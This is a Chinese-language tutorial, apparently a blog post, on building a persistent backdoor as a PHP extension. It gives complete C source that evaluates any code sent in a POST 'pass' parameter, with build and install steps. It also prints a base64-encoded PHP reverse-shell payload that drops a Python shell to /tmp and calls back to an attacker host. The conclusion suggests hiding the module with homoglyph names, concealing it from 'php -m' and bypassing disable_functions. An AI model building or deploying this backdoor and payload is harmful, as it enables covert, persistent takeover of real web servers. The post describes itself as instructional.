標籤:tmm 系統 pytho 示範 運行 多個 cgo cal data-
看到Freebuf 小編髮表的用這個隱藏於PHP模組中的rootkit,就能持久接管伺服器文章,高度興趣,苦無作者沒留下PoC,自己研究一番,有了此文
0×00. 引言
PHP是一個非常流行的web server端的script語言.目前很多web應用程式都基於php語言實現。由於php是個開源軟體並易於擴充,所以我們可以通過編寫一個PHP模組(module 或者叫擴充 extension)來實現一個Backdoor。 本文就簡單介下如何一步步編寫一個簡單的php 動態擴充後門。
0×01. php 擴後門的簡單設計
出於教學目的,這個動態擴充後門的功能設計比較簡單:
1). 通過過濾使用者提交的特定變數來啟動Backdoor.
2). 直接執行使用者提交的php代碼.
對於1)中過濾使用者提交的變數有兩種方法
方法1:
修改SAPI的input_filter或者是treat_data.你可以是hook後再執行php的原始代碼,也可以直接替換原始函數 ,具體介紹,請參考《http://xfocus.net/articles/200705/920.html》
方法2:
從php內建的數組裡擷取變數(即從php核心中擷取變數),這也是本文所要用到的方法
0×02. 開始編寫擴充後門代碼
結合0×01中php後門的設計,本文中要實現的後門功能為:
只要php解譯器載入了這個擴充,那麼對於每一次http POST 請求,這個擴充都會攔截,檢查一下是否有pass參數,如果有,則執行pass參數的值中的php代碼
本文用最快的(不是最標準的,標準的擴充一般還會單獨寫.h的標頭檔)的方式來建立一個簡單的php擴充,共計兩個檔案,一個是編譯設定檔config.m4, 一個是後門擴充源碼hacker.c
關於config.m4
config.m4檔案用於指定正在開發的擴充在類unix系統下構建時支援的選項,指定此擴充需要哪些庫以及哪些源檔案;使用 GNU autoconf (http://www.gnu.org/software/autoconf/manual/)文法編寫。 phpize 會根據config.m4的配置自動產生編譯相關檔案(如,就是我們常見的configure 之類的,然後就可以./configure && make &&make install)
1) config.m4 內容
PHP_ARG_ENABLE(hacker, 0,0) PHP_NEW_EXTENSION(hacker, hacker.c, $ext_shared)
就兩行,很簡單,這裡做個解釋
PHP_ARG_ENABLE
含有有三個參數,
第1個參數是我們擴充的名字,這裡為hacker
第2個參數是我們運行./configure 指令碼時顯要指定示的內容,這裡沒有配置,即為0
第3個參數是我們在調用./configure –help 的 時候要指定顯示的協助資訊,這裡也沒有配置,為0
PHP_NEW_EXTENSION
PHP_NEW_EXTENSION(hacker, hacker.c, $ext_shared)
第1個參數是模組名字,這裡為hacker
第2個參數表示的是編譯模組需要的源檔案名稱 ,這裡為hacker.c
如果我們的擴充使用了多個檔案,便可以將這多個檔案名稱羅列在函數的參數裡,不同源檔案之間以空格隔開, 比如:
PHP_NEW_EXTENSION(sample, sample.c sample2.c sample3.c, $ext_shared)
第3個參數表示的是編譯的形式,這裡的$ext_shared參數用來聲明這個擴充不是一個靜態模組,而是在php運行時動態載入的。
2)後門擴充源碼hacker.c
代碼比較簡單,主要有以下:
zend_module_entry 結構體定義,必須
ZEND_GET_MODULE 編譯載入模組並返回zend_module_entry的指標,必須
模組運行時函式宣告,標準的擴充都會在.h的都檔案中聲明,這裡就在.c的原始碼中一起聲明了
模組運行時函數定義
具體代碼:
#include "php.h" //模組運行時函式宣告 PHP_RINIT_FUNCTION(hacker); //zend_module_entry 結構體定義 zend_module_entry hacker_module_entry = { #if ZEND_MODULE_API_NO >= 20010901 STANDARD_MODULE_HEADER, #endif "hacker", //模組名,可以考慮用同形異義字, php -m 可以查詢到 NULL, //匯出函數結構體hacker_functions,這裡設定為NULL NULL, //PHP_MINIT(hacker) 模組初始化,這裡沒有用到,設定為NULL NULL, //PHP_MSHUTDOWN(hacker) 模組清理, 這裡沒有用到,設定為NULL PHP_RINIT(hacker), //運行時初始化,這裡用到了,下面會著重講解 NULL, //PHP_RSHUTDOWN(hacker) 運行時清理,沒有用到,設定為NULL NULL, //PHP_MINFO(hacker)處理phpinfo中的模組資訊,沒有用到,設定為NULL "1.0", //模組版本 STANDARD_MODULE_PROPERTIES }; #ifdef COMPILE_DL_HACKER ZEND_GET_MODULE(hacker); #endif //模組運行時函數定義 //只要php解譯器載入了這個模組,每個php請求時,都執行該函數 PHP_RINIT_FUNCTION(hacker) { char* method = "_POST"; // 要過濾的變數,這裡為$_POST ,因為一般情況下POST內容不被伺服器記錄 char* secret_string = "pass"; // 特定參數名,有點類似於菜刀的一句話密碼,根據參數名做到特定條件下觸發後門 zval** arr; //指向指標的指標 char* code; //在全域範圍(&EG(symbol_table))下收縮$_POST 變數,找到之後將指標值賦給arr if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { HashTable* ht = Z_ARRVAL_P(*arr); //使用宏Z_ARRVAL_P擷取數組的值,因為$_POST是個數組 zval** val; //在數組$_POST中尋找參數名為pass的值,如果找到,則將值賦給val if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // 搜尋hash表中期望的參數 code = Z_STRVAL_PP(val); // 使用宏Z_STRVAL_PP找到的參數值 zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //執行代碼,也即變數$_POST[pass]的值 } } return SUCCESS; }
代碼解釋補充
#include "php.h"
php.h, 位於PHP 主目錄。這個檔案包含了絕大部分 PHP 宏及 API 定義。編寫php擴充必備,需要安裝php開發庫,以centos7 php5.5 為例
yum install php5-devel
zend_module_entry 是編寫php 動態載入模組必須註冊的一個結構體,hacker_module_entry是結構體名字,命名規範為:模組名_module_entry, 來解釋一下這個結構體:
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
依據ZEND_MODULE_API_NO 是否大於等於 20010901,這個結構體需要不同的定義格式。20010901大約代表PHP4.2.0版本,所以我們現在的擴充幾乎都要包含STANDARD_MODULE_HEADER這個元素了
在php生命週期中,ZendEngine首先要初始化module,每個module中定義的PHP_MINIT_FUNCTION函數作為初始化代碼(ModuleInit)都會被執行一次,而PHP_RINIT_FUNCTION函數則是在每次頁面被請求的時候(RuntimeInit)都會執行一次。 因此對php函數的hook,設定php環境變數,對user input的過濾,都可以根據需要在這兩個函數中進行.本文擴充後門就是在RuntimeInit時候對變數進行hook。 然後在PHP_MSHUTDOWN_FUNCTION和PHP_RSHUTDOWN_FUNCTION中進行相應的清理.而作為Backdoor,PHP_MINFO_FUNCTION函數對我們則沒什麼必要,可以把這裡設定為NULL。
有關Z_STRVAL_PP Z_STRVAL_P Z_STRVAL的解釋,請參考:http://m.php.cn/write/910.html
0×03. 測試1. 編譯環境:
centos7 x64
php5.4
需事先安裝好phpize
2. 編譯後門
1) 先運行phpize,產生編譯設定檔
2)./configure && make && make test
3) make install
預設安裝在/usr/lib64/php/modules/, 當然你也可以用–prefix指定安裝目錄
3. 配置 php.ini,啟用後門
重啟httpd服務
使用php -m 查看是否模組載入成功
至此,php 擴充後門載入成功,下面就需要用戶端發送觸發代碼,觸發後門執行
4. 用戶端開始監聽,等待反彈
5. 用戶端發送惡意代碼觸發後門反彈shell
在github上找到一個php反彈後門代碼:
https://github.com/XiphosResearch/exploits/blob/master/LotusCMS/back_python.php
修改以下反彈IP和連接埠,然後在除去分行符號,再進行base64編碼,最後處理如下:
eval(base64_decode(‘CiRjYmhvc3QgPSAnMTAuMS4xMDAuMyc7IAokY2Jwb3J0ID0gJzMxMzM0JzsgCmVjaG8gInsrfSBVc2luZyAiLiRjYmhvc3QuIjoiLiRjYnBvcnQuIiBhcyBjYWxsYmFjay4uLlxueyt9IERyb3BwaW5nIHNoZWxsLi4uXG4iOwokc2hlbGwgPSAiSXlFdmRYTnlMMkpwYmk5d2VYUm9iMjR5Q2lNZ1kyOWthVzVuT2lCMWRHWXRPQW9qSUZObGJHWWdSR1Z6ZEhKMVkzUnBibWNzSUVSaFpXMXZibWx1WnlCU1pYWmxjbk5sSUZCVVdTNEtJeUJ5YlNkeklITmxiR1lnYjI0Z2NYVnBkQ0E2TXdvaklGUlBSRTg2Q2lNZ01Ub2dRV1JrSUdOeWVYQjBid29qSURJNklFRmtaQ0J3Y205amJtRnRaU0J6Y0c5dlpncHBiWEJ2Y25RZ2IzTUthVzF3YjNKMElITjVjd3BwYlhCdmNuUWdjSFI1Q21sdGNHOXlkQ0J6YjJOclpYUUthVzF3YjNKMElHTnZiVzFoYm1SekNncHphR1ZzYkcxelp5QTlJQ0pjZURGaVd6QnRYSGd4WWxzeE96TTJiVWR2ZENCeWIyOTBJSGxsZEQ5Y2VERmlXekJ0WEhKY2JpSWdJeUJ1WldWa2VpQmhjMk5wYVFvS1pHVm1JSEYxYVhSMFpYSW9iWE5uS1RvS0lDQWdJSEJ5YVc1MElHMXpad29nSUNBZ2IzTXVkVzVzYVc1cktHOXpMbkJoZEdndVlXSnpjR0YwYUNoZlgyWnBiR1ZmWHlrcElDTWdkVzVqYjIxdFpXNTBJR1p2Y2lCbmIyZHZjMlZzWm1SbGMzUnlkV04wQ2lBZ0lDQnplWE11WlhocGRDZ3dLUW9LWkdWbUlISmxkbVZ5YzJVb1kySm9iM04wTENCalluQnZjblFwT2dvZ0lDQWdkSEo1T2dvZ0lDQWdJQ0FnSUhWdVlXMWxJRDBnWTI5dGJXRnVaSE11WjJWMGIzVjBjSFYwS0NKMWJtRnRaU0F0WVNJcENpQWdJQ0FnSUNBZ2FXUWdQU0JqYjIxdFlXNWtjeTVuWlhSdmRYUndkWFFvSW1sa0lpa0tJQ0FnSUdWNFkyVndkQ0JGZUdObGNIUnBiMjQ2Q2lBZ0lDQWdJQ0FnY1hWcGRIUmxjaWduWjNKaFlpQjFibUZ0WlM5cFpDQm1ZV2xzSnlrS0lDQWdJSFJ5ZVRvS0lDQWdJQ0FnSUNCemIyTnJJRDBnYzI5amEyVjBMbk52WTJ0bGRDaHpiMk5yWlhRdVFVWmZTVTVGVkN3Z2MyOWphMlYwTGxOUFEwdGZVMVJTUlVGTktRb2dJQ0FnSUNBZ0lITnZZMnN1WTI5dWJtVmpkQ2dvWTJKb2IzTjBMQ0JwYm5Rb1kySndiM0owS1NrcENpQWdJQ0JsZUdObGNIUTZDaUFnSUNBZ0lDQWdjWFZwZEhSbGNpZ25ZV0p2Y25RNklHTnZibTVsWTNScGIyNGdabUZwYkNjcENpQWdJQ0IwY25rNkNpQWdJQ0FnSUNBZ2IzTXVaSFZ3TWloemIyTnJMbVpwYkdWdWJ5Z3BMQ0F3S1FvZ0lDQWdJQ0FnSUc5ekxtUjFjRElvYzI5amF5NW1hV3hsYm04b0tTd2dNU2tLSUNBZ0lDQWdJQ0J2Y3k1a2RYQXlLSE52WTJzdVptbHNaVzV2S0Nrc0lESXBDaUFnSUNCbGVHTmxjSFE2Q2lBZ0lDQWdJQ0FnY1hWcGRIUmxjaWduWVdKdmNuUTZJR1IxY0RJZ1ptRnBiQ2NwQ2lBZ0lDQjBjbms2Q2lBZ0lDQWdJQ0FnYjNNdWNIVjBaVzUyS0NKSVNWTlVSa2xNUlNJc0lDSXZaR1YyTDI1MWJHd2lLUW9nSUNBZ0lDQWdJRzl6TG5CMWRHVnVkaWdpVUVGVVNDSXNJQ2N2ZFhOeUwyeHZZMkZzTDNOaWFXNDZMM1Z6Y2k5elltbHVPaTl6WW1sdU9pOWlhVzQ2TDNWemNpOXNiMk5oYkM5aWFXNDZMM1Z6Y2k5aWFXNG5LUW9nSUNBZ1pYaGpaWEIwSUVWNFkyVndkR2x2YmpvS0lDQWdJQ0FnSUNCeGRXbDBkR1Z5S0NkaFltOXlkRG9nY0hWMFpXNTJJR1poYVd3bktRb2dJQ0FnZEhKNU9nb2dJQ0FnSUNBZ0lITnZZMnN1YzJWdVpDaHphR1ZzYkcxelp5a0tJQ0FnSUNBZ0lDQnpiMk5yTG5ObGJtUW9KMXg0TVdKYk1Uc3pNbTBuSzNWdVlXMWxLeUpjY2x4dUlpdHBaQ3NpWEhneFlsc3diVnh5WEc0aUtRb2dJQ0FnWlhoalpYQjBJRVY0WTJWd2RHbHZiam9LSUNBZ0lDQWdJQ0J4ZFdsMGRHVnlLQ2R6Wlc1a0lHbGtMM1Z1WVcxbElHWjFZMnQxY0NjcENpQWdJQ0IwY25rNkNpQWdJQ0FnSUNBZ2NIUjVMbk53WVhkdUtDY3ZZbWx1TDJKaGMyZ25LUW9nSUNBZ1pYaGpaWEIwSUVWNFkyVndkR2x2YmpvS0lDQWdJQ0FnSUNCeGRXbDBkR1Z5S0NkaFltOXlkRG9nY0hSNUlITndZWGR1SUdaaGFXd25LUW9nSUNBZ2NYVnBkSFJsY2lnbmNYVnBkSFJwYm1jc0lHTnNaV0Z1ZFhBbktRb0taR1ZtSUcxaGFXNG9ZWEpuY3lrNkNpQWdJQ0JwWmlCdmN5NW1iM0pyS0NrZ1BpQXdPaUFLSUNBZ0lDQWdJQ0J2Y3k1ZlpYaHBkQ2d3S1FvZ0lDQWdjbVYyWlhKelpTaHplWE11WVhKbmRsc3hYU3dnYzNsekxtRnlaM1piTWwwcENncHBaaUJmWDI1aGJXVmZYeUE5UFNBaVgxOXRZV2x1WDE4aU9nb2dJQ0FnYldGcGJpaHplWE11WVhKbmRpa0siOwokeCA9IGZvcGVuKCIvdG1wL3giLCAidysiKTsKZndyaXRlKCR4LCBiYXNlNjRfZGVjb2RlKCRzaGVsbCkpOwpmY2xvc2UoJHgpOwplY2hvICJ7K30gU2hlbGwgZHJvcHBlZC4uLiBUcmlnZ2VyaW5nLi4uXG4iOwpzeXN0ZW0oInB5dGhvbiAvdG1wL3ggIi4kY2Job3N0LiIgIi4kY2Jwb3J0KTsKZGllKCd7K30gZ290IHNoZWxsPycpOyAvLyBwYXlsb2FkIHNob3VsZCBoYXZlIHJtJ2QgaXRzZWxmCgo=‘));
使用burpsuite 發送POST請求,參數為pass,值為上述eval(base64_decode 那一串值
成功反彈shell
0×04. 總結
本文所涉及的php 擴充後門是相對比較簡單的,只是為了示範教學之目的。
如果系統禁用了eval等函數,還需要通過在後門中加入模組初始化函數(PHP_MINIT_FUNCTION),動態修改php.ini以達到繞過disable_function的目的,另外,為了更好地隱藏自身,還需要在偽裝性上下點功夫,比如利用同形異義字欺騙使用者的眼睛,比如使得模組名不在php -m中顯示等,當然這是後話,希望後續能有這樣的文章出現。
參考:
http://www.gnu.org/software/autoconf/manual
http://www.cunmou.com/phpbook/2.5.md
http://www.cnblogs.com/beatzeus/p/6085366.html
http://www.cunmou.com/phpbook/5.1.md
http://www.cunmou.com/phpbook/17.3.md
https://github.com/ForrestX386/tcp_killer
http://php.webtutor.pl/en/2001/07/07/zend_get_module/
http://www.cnblogs.com/bqrm/archive/2012/10/12/2721440.html
http://m.php.cn/write/910.html
http://xfocus.net/articles/200705/920.html
手把手教你編寫一個簡單的PHP模組形態的後門